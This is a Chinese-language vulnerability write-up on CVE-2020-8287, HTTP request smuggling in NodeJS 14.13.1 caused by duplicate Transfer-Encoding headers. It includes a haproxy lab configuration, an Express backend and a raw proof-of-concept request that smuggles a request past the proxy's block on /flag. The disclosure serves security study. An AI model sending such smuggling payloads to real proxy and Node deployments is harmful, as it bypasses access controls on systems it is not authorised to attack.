0%

HTTP Request Smuggling in NodeJS

漏洞摘要

NodeJS 14.13.1 版本在处理HTTP请求头部时时,允许两个一样的头字段存在,并且在处理字段时,第一个字段的值为准,这样可以让我们发送两个Transfer-Encoding字段头,在某些条件下可以触发一个CL-TE型的HTTP Request Smuggling。漏洞提交到hackerone,得到确认,分配了一个CVE:CVE-2020-8287。

漏洞复现

使用haproxy作为前端代理演示漏洞,TE-TE型利用

配置前端代理haproxy 1.5.3,配置文件haproxy.cfg,配置文件禁止了对/flag目录的访问

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
global
daemon
maxconn 256

defaults
mode http
timeout connect 5000ms
timeout client 50000ms
timeout server 50000ms

frontend http-in
bind *:80
default_backend servers
acl url_403 path_beg -i /flag
http-request deny if url_403

backend servers
server server1 127.0.0.1:8080 maxconn 32

配置后端NodeJS服务脚本app.js,脚本对/flag目录访问返回设置内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
var express = require('express');
var app = express();
var bodyParser = require('body-parser')

app.use(bodyParser())

app.get('/', function (req, res) {
res.send('Hello World!');
});

app.get('/flag', function (req, res) {
res.send('flag is 1a2b3c4d5e6f');
});

app.post('/', function (req, res) {
res.send('Hello World!');
});

app.listen(8080, function () {
console.log('Example app listening on port 8080!');
});

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST / HTTP/1.1
Host: 127.0.0.1
Transfer-Encoding: chunked
Transfer-Encoding: chunked-false

1
A
0

GET /flag HTTP/1.1
Host: 127.0.0.1
foo: x


使用POC发包后,前端代理haproxy依次处理了两个请求头字段Transfer-Encoding,并以第二个头字段值为准,haproxy识别到无效头Transfer-Encoding: chunked-false,认为数据包是非Transfer-Encoding型HTTP请求,把58字节数据传递给后端NodeJS。

NodeJS收到前端转发给他的HTTP请求后,依次处理了两个请求头字段Transfer-Encoding,并以第一个头字段值为准,第一个头字段Transfer-Encoding: chunked是一个合法的TE头,检查通过,认为自己收到了一个Transfer-Encoding型HTTP请求,把0\r\n前的数据作为一个HTTP请求,0\r\n后的数据作为另一个HTTP请求,最终导致HTTP Request Smuggling。

POC攻击成功,将绕过前端代理haproxy对/flag目录的访问限制。

同样的问题在PHP中也存在,但是PHP认为这不是一个安全问题:https://bugs.php.net/bug.php?id=80043